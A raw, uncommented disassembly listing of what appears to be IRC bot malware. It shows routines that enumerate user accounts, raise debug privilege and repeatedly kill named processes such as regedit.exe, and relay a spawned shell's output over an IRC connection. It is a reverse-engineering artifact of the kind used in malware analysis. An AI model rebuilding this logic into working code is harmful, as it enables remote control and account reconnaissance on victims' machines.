lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
add esp, 20h
pop edi
pop ebx
jmp short loc_41A197
; ---------------------------------------------------------------------------
loc_41A16B: ; CODE XREF: sub_419DC3+35j
push eax
lea eax, [ebp+Dest]
push offset asc_4507E0 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_10] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_409D34
add esp, 20h
loc_41A197: ; CODE XREF: sub_419DC3+3A6j
cmp [ebp+var_4], 0
jz short loc_41A1A6
push [ebp+var_4]
call dword_4E3188
loc_41A1A6: ; CODE XREF: sub_419DC3+40j
; sub_419DC3+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419DC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A1AC(int,char *Str,int,int)
sub_41A1AC proc near ; CODE XREF: sub_401CC7+47B6p
Dest = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419AF7
push esi ; int
mov [ebp+var_14], eax
push [ebp+arg_8] ; int
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 18h
loc_41A1EB: ; CODE XREF: sub_41A1AC+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4E3058
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41A24C
cmp eax, 0EAh
jz short loc_41A24C
push eax
push eax
call sub_41A32C
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_45085C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 24h
jmp short loc_41A2C7
; ---------------------------------------------------------------------------
loc_41A24C: ; CODE XREF: sub_41A1AC+62j
; sub_41A1AC+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41A2DA
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_41A2C7
loc_41A25E: ; CODE XREF: sub_41A1AC+EDj
cmp edi, esi
jz short loc_41A29D
push dword ptr [edi]
lea eax, [ebp+Dest]
push offset aS_30 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41A25E
jmp short loc_41A2C7
; ---------------------------------------------------------------------------
loc_41A29D: ; CODE XREF: sub_41A1AC+B4j
lea eax, [ebp+Dest]
push offset asc_450828 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 1Ch
loc_41A2C7: ; CODE XREF: sub_41A1AC+9Ej
; sub_41A1AC+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41A2DA
push edi
call dword_4E3188
xor edi, edi
mov [ebp+var_4], edi
loc_41A2DA: ; CODE XREF: sub_41A1AC+A5j
; sub_41A1AC+120j
cmp [ebp+var_C], 0EAh
jz loc_41A1EB
cmp edi, esi
jz short loc_41A2F2
push edi
call dword_4E3188
loc_41A2F2: ; CODE XREF: sub_41A1AC+13Dj
push [ebp+var_8]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41A1AC endp
; =============== S U B R O U T I N E =======================================
sub_41A32C proc near ; CODE XREF: sub_419965+41p
; sub_419B5B+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_41A3DE
jz loc_41A3D7
cmp eax, 7Bh
ja short loc_41A3A3
jz short loc_41A399
cmp eax, 5
jz short loc_41A38F
cmp eax, 8
jz short loc_41A385
cmp eax, 32h
jz short loc_41A37B
cmp eax, 35h
jz short loc_41A371
cmp eax, 57h
jnz loc_41A42D
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A371: ; CODE XREF: sub_41A32C+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A37B: ; CODE XREF: sub_41A32C+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A385: ; CODE XREF: sub_41A32C+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A38F: ; CODE XREF: sub_41A32C+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A399: ; CODE XREF: sub_41A32C+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3A3: ; CODE XREF: sub_41A32C+1Aj
sub eax, 7Ch
jz short loc_41A3D0
sub eax, 7C8h
jz short loc_41A3C9
dec eax
jz short loc_41A3BF
dec eax
jnz short loc_41A42D
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3BF: ; CODE XREF: sub_41A32C+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3C9: ; CODE XREF: sub_41A32C+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3D0: ; CODE XREF: sub_41A32C+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3D7: ; CODE XREF: sub_41A32C+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A3DE: ; CODE XREF: sub_41A32C+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41A417
jz short loc_41A410
sub eax, 8ADh
jz short loc_41A442
dec eax
dec eax
jz short loc_41A409
dec eax
jz short loc_41A402
dec eax
dec eax
jnz short loc_41A42D
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A402: ; CODE XREF: sub_41A32C+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A409: ; CODE XREF: sub_41A32C+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A410: ; CODE XREF: sub_41A32C+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A417: ; CODE XREF: sub_41A32C+B9j
sub eax, 8CAh
jz short loc_41A449
sub eax, 17h
jz short loc_41A442
sub eax, 25h
jz short loc_41A43B
sub eax, 29h
jz short loc_41A434
loc_41A42D: ; CODE XREF: sub_41A32C+35j
; sub_41A32C+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A434: ; CODE XREF: sub_41A32C+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A43B: ; CODE XREF: sub_41A32C+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A442: ; CODE XREF: sub_41A32C+C2j
; sub_41A32C+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_41A44E
; ---------------------------------------------------------------------------
loc_41A449: ; CODE XREF: sub_41A32C+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_41A44E: ; CODE XREF: sub_41A32C+40j
; sub_41A32C+4Aj ...
push offset byte_4F2DFC ; Dest
call _sprintf
pop ecx
mov eax, offset byte_4F2DFC
pop ecx
retn
sub_41A32C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A460(char *Source)
sub_41A460 proc near ; CODE XREF: sub_401CC7+47FCp
Dest = word ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+Source]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+Source], esi
call ds:dword_4F5394 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi ; MaxCount
push eax ; Source
lea eax, [ebp+var_318]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Dest]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4E3108
test eax, eax
jnz short loc_41A4F0
mov esi, offset byte_4F2BF8
push offset asc_450B58 ; "-"
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41A519
; ---------------------------------------------------------------------------
loc_41A4F0: ; CODE XREF: sub_41A460+7Aj
lea ecx, [ebp+Dest]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41A32C
pop ecx
mov esi, offset byte_4F2BF8
push eax
push offset asc_450B80 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
loc_41A519: ; CODE XREF: sub_41A460+8Ej
mov eax, esi
pop esi
leave
retn
sub_41A460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A51E proc near ; CODE XREF: sub_417A8B+45p
; sub_417A8B+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_4F53CC ; GetCurrentProcess
push eax
call dword_4E30DC ; OpenProcessToken
test eax, eax
jnz short loc_41A53D
leave
retn
; ---------------------------------------------------------------------------
loc_41A53D: ; CODE XREF: sub_41A51E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4E30B4 ; LookupPrivilegeValueA
test eax, eax
jz short loc_41A57B
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_41A564
or [ebp+var_8], 2
jmp short loc_41A568
; ---------------------------------------------------------------------------
loc_41A564: ; CODE XREF: sub_41A51E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41A568: ; CODE XREF: sub_41A51E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4E3164 ; AdjustTokenPrivileges
mov esi, eax
loc_41A57B: ; CODE XREF: sub_41A51E+32j
push [ebp+var_4]
call ds:dword_4F533C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_41A51E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A589(int,char *Str,int,char *Str2,int,int)
sub_41A589 proc near ; CODE XREF: sub_401CC7+79CBp
; sub_41A7CC+74p ...
Dest = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
Str1 = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4E3118, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_41A79C
cmp dword_4E30FC, ebx
jz loc_41A79C
cmp dword_4E300C, ebx
jz loc_41A79C
push 1
push offset aSedebugprivi_1 ; "SeDebugPrivilege"
call sub_41A51E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4E3118 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_41A78F
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4E30FC ; Process32First
mov esi, ds:dword_4F533C
test eax, eax
jz loc_41A78A
lea eax, [ebp+var_130]
push eax
push edi
call dword_4E300C ; Process32Next
test eax, eax
jz loc_41A78A
mov edi, ds:dword_4F5358
mov ebx, 1F0FFFh
loc_41A64D: ; CODE XREF: sub_41A589+1F9j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_41A6B4
mov [ebp+var_4], offset off_450BB0
loc_41A65B: ; CODE XREF: sub_41A589+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+Str1]
push eax
call ds:dword_4F5458 ; lstrcmpi
test eax, eax
jz short loc_41A683
add [ebp+var_4], 4
cmp [ebp+var_4], offset aRegedit_exe ; "regedit.exe"
jb short loc_41A65B
jmp loc_41A770
; ---------------------------------------------------------------------------
loc_41A683: ; CODE XREF: sub_41A589+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_41A770
push 0
push eax
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz loc_41A770
loc_41A6AA: ; CODE XREF: sub_41A589+1CDj
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_41A770
; ---------------------------------------------------------------------------
loc_41A6B4: ; CODE XREF: sub_41A589+C9j
cmp [ebp+Str2], eax
jnz loc_41A75B
cmp [ebp+Str], eax
jz loc_41A770
push [ebp+var_128]
push 8
call dword_4E3118 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41A71B
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4E2FB8 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_41A70D
lea eax, [ebp+var_234]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_41A72D
; ---------------------------------------------------------------------------
loc_41A70D: ; CODE XREF: sub_41A589+174j
lea eax, [ebp+Str1]
push eax
push offset aSD_1 ; " %s (%d)"
jmp short loc_41A72D
; ---------------------------------------------------------------------------
loc_41A71B: ; CODE XREF: sub_41A589+15Cj
push [ebp+var_128]
lea eax, [ebp+Str1]
push eax
push offset aSD_2 ; " %s (%d)"
loc_41A72D: ; CODE XREF: sub_41A589+182j
; sub_41A589+190j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push 1 ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
jmp loc_41A6AA
; ---------------------------------------------------------------------------
loc_41A75B: ; CODE XREF: sub_41A589+12Ej
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41A7A3
loc_41A770: ; CODE XREF: sub_41A589+F5j
; sub_41A589+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4E300C ; Process32Next
test eax, eax
jnz loc_41A64D
xor ebx, ebx
loc_41A78A: ; CODE XREF: sub_41A589+9Dj
; sub_41A589+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_41A78F: ; CODE XREF: sub_41A589+77j
push ebx
push offset aSedebugprivi_2 ; "SeDebugPrivilege"
call sub_41A51E
pop ecx
pop ecx
loc_41A79C: ; CODE XREF: sub_41A589+3Aj
; sub_41A589+46j ...
xor eax, eax
loc_41A79E: ; CODE XREF: sub_41A589+241j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A7A3: ; CODE XREF: sub_41A589+1E5j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz short loc_41A7C7
push edi
call esi ; CloseHandle
jmp short loc_41A79C
; ---------------------------------------------------------------------------
loc_41A7C7: ; CODE XREF: sub_41A589+237j
push 1
pop eax
jmp short loc_41A79E
sub_41A589 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A7CC proc near ; DATA XREF: sub_401CC7+26BEo
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset asc_450DA8 ; "-"
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41A82B
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409D34
add esp, 14h
loc_41A82B: ; CODE XREF: sub_41A7CC+3Dj
push [ebp+var_10] ; int
lea eax, [ebp+Str]
push esi ; int
push esi ; Str2
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_41A589
add esp, 18h
test eax, eax
jnz short loc_41A853
push offset unk_450DC8
jmp short loc_41A858
; ---------------------------------------------------------------------------
loc_41A853: ; CODE XREF: sub_41A7CC+7Ej
push offset asc_450DEC ; "-"
loc_41A858: ; CODE XREF: sub_41A7CC+85j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_41A88B
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409D34
add esp, 14h
loc_41A88B: ; CODE XREF: sub_41A7CC+9Dj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_14]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_41A7CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A8AA proc near ; CODE XREF: sub_401CC7+7969p
; sub_40B891+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_4F5358 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41A8DC
push 0
push esi
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz short loc_41A8DC
push esi
xor edi, edi
call ds:dword_4F533C ; CloseHandle
loc_41A8DC: ; CODE XREF: sub_41A8AA+1Aj
; sub_41A8AA+27j
mov eax, edi
pop edi
pop esi
retn
sub_41A8AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41A8E1 proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo
push esi
xor esi, esi
loc_41A8E4: ; CODE XREF: sub_41A8E1+1Ej
push 1 ; int
push esi ; int
push esi ; Str2
push esi ; int
push esi ; Str
push esi ; int
call sub_41A589
add esp, 18h
push dword_450BAC
call ds:dword_4F534C ; Sleep
jmp short loc_41A8E4
sub_41A8E1 endp
; =============== S U B R O U T I N E =======================================
sub_41A901 proc near ; CODE XREF: sub_41A931+2Ap
; sub_41A969+7Ep ...
mov eax, dword_4F3464
push esi
mov esi, ds:dword_4F533C
cmp eax, 0FFFFFFFFh
jz short loc_41A915
push eax
call esi ; CloseHandle
loc_41A915: ; CODE XREF: sub_41A901+Fj
mov eax, dword_4F346C
cmp eax, 0FFFFFFFFh
jz short loc_41A922
push eax
call esi ; CloseHandle
loc_41A922: ; CODE XREF: sub_41A901+1Cj
mov eax, dword_4F3460
cmp eax, 0FFFFFFFFh
jz short loc_41A92F
push eax
call esi ; CloseHandle
loc_41A92F: ; CODE XREF: sub_41A901+29j
pop esi
retn
sub_41A901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A931(char *Str)
sub_41A931 proc near ; CODE XREF: sub_401CC7+76ADp
; sub_4167BF+14Ap
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+Str]
push dword_4F3468
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jnz short loc_41A964
call sub_41A901
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A964: ; CODE XREF: sub_41A931+28j
push 1
pop eax
leave
retn
sub_41A931 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A969(int,char *Str1,int)
sub_41A969 proc near ; CODE XREF: sub_41A9F0+D3p
; sub_41A9F0+F2p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_4F34AC ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41A9AC
push 7D0h
call ds:dword_4F534C ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Dest]
push [ebp+Str1]
push offset aPrivmsgSS_4 ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_41A9C3
; ---------------------------------------------------------------------------
loc_41A9AC: ; CODE XREF: sub_41A969+1Aj
push [ebp+arg_8]
lea eax, [ebp+Dest]
push offset aS_31 ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_41A9C3: ; CODE XREF: sub_41A969+41j
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
test eax, eax
jg short loc_41A9EC
call sub_41A901
loc_41A9EC: ; CODE XREF: sub_41A969+7Cj
xor eax, eax
leave
retn
sub_41A969 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9F0 proc near ; DATA XREF: sub_41AB45+174o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset byte_4F3470
loc_41AA08: ; CODE XREF: sub_41A9F0+79j
; sub_41A9F0+DBj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4F3464
call ds:dword_4F5460 ; PeekNamedPipe
test eax, eax
jz loc_41AAD6
cmp [ebp+var_4], edi
jnz short loc_41AA6B
lea eax, [ebp+var_8]
push eax
push dword_4F3460
call ds:dword_4F545C ; GetExitCodeProcess
test eax, eax
jz short loc_41AA61
cmp [ebp+var_8], 103h
jnz loc_41AAFA
loc_41AA61: ; CODE XREF: sub_41A9F0+62j
push 0Ah
call ds:dword_4F534C ; Sleep
jmp short loc_41AA08
; ---------------------------------------------------------------------------
loc_41AA6B: ; CODE XREF: sub_41A9F0+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41AA82
loc_41AA72: ; CODE XREF: sub_41A9F0+90j
cmp [ebp+eax+Dst], 0Ah
jz short loc_41AAD0
inc eax
cmp eax, [ebp+var_4]
jb short loc_41AA72
loc_41AA82: ; CODE XREF: sub_41A9F0+80j
mov [ebp+var_4], esi
loc_41AA85: ; CODE XREF: sub_41A9F0+E4j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push dword_4F3464
call ds:dword_4F53BC ; ReadFile
test eax, eax
jz short loc_41AB22
lea eax, [ebp+Dst]
push eax ; int
push ebx ; Str1
push dword_4F34A4 ; int
call sub_41A969
add esp, 0Ch
jmp loc_41AA08
; ---------------------------------------------------------------------------
loc_41AAD0: ; CODE XREF: sub_41A9F0+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41AA85
; ---------------------------------------------------------------------------
loc_41AAD6: ; CODE XREF: sub_41A9F0+45j
push offset unk_450E24 ; int
push ebx ; Str1
push dword_4F34A4 ; int
call sub_41A969
push [ebp+arg_0]
call sub_40BA72
add esp, 10h
push 1
call ds:dword_4F53A0 ; ExitThread
loc_41AAFA: ; CODE XREF: sub_41A9F0+6Bj
call sub_41A901
push offset unk_450E54 ; int
push ebx ; Str1
push dword_4F34A4 ; int
call sub_41A969
push [ebp+arg_0]
call sub_40BA72
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
loc_41AB22: ; CODE XREF: sub_41A9F0+C3j
push offset unk_450E7C ; int
push ebx ; Str1
push dword_4F34A4 ; int
call sub_41A969
push [ebp+arg_0]
call sub_40BA72
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
sub_41A9F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB45 proc near ; CODE XREF: sub_401CC7+24F8p
; sub_4167BF+99p
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
